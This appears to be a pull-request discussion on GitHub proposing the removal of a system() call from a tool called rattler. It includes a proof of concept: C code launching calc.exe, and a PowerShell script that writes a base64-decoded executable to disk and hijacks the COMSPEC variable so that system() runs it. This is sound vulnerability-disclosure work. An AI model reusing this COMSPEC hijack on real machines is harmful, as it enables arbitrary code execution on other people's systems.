Remove system()

[sagishahar-zz]

The usage of system() could lead to arbitrary command execution. Specifically to this solution, it is simply unnecessary.

[brompwnie]

Hi sagishahar, thanks for the contribution. Do you have a PoC you could share with us?

[sagishahar-zz]

Sure. Most likely there are better, more elegant ways. Here are the steps I took:

1. Compile the following C code and convert the .exe to base64:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

void _tmain( int argc, TCHAR *argv[] )
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

    if(!CreateProcess(NULL, "C:\\Windows\\System32\\calc.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
        printf( "CreateProcess failed (%d).\n", GetLastError() );
        return;
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

2. Copy/Paste the base64 output from the previous step to the following PowerShell script:

$payload = [PASTE BASE64 HERE]
$filename = 'C:\Temp\x.exe'
$bytes = [Convert]::FromBase64String($payload)
$snakeyshakey=@"

.-----.-----.---.-.|  |--.-----.--.--. .-----.|  |--.---.-.|  |--.-----.--.--.
|__ --|     |  _  ||    <|  -__|  |  | |__ --||     |  _  ||    <|  -__|  |  |
|_____|__|__|___._||__|__|_____|___  | |_____||__|__|___._||__|__|_____|___  |
                               |_____|  v0.1 - @s4gi_                  |_____|                     

"@
Write-Host $snakeyshakey
Write-Host "[*] Writing payload (calc.exe).."
[IO.File]::WriteAllBytes($filename, $bytes)
Write-Host "[*] Modifying %COMSPEC%.."
[Environment]::SetEnvironmentVariable("COMSPEC", "C:\Temp\x.exe")
Write-Host "[*] Done. Enjoy executing rattler.exe!`n"

3. Open a PowerShell command prompt and execute the PowerShell script above.
4. Execute rattler.exe in the same PowerShell command prompt used in the previous step (this is due to the non-persistent environment variable that this PoC is using).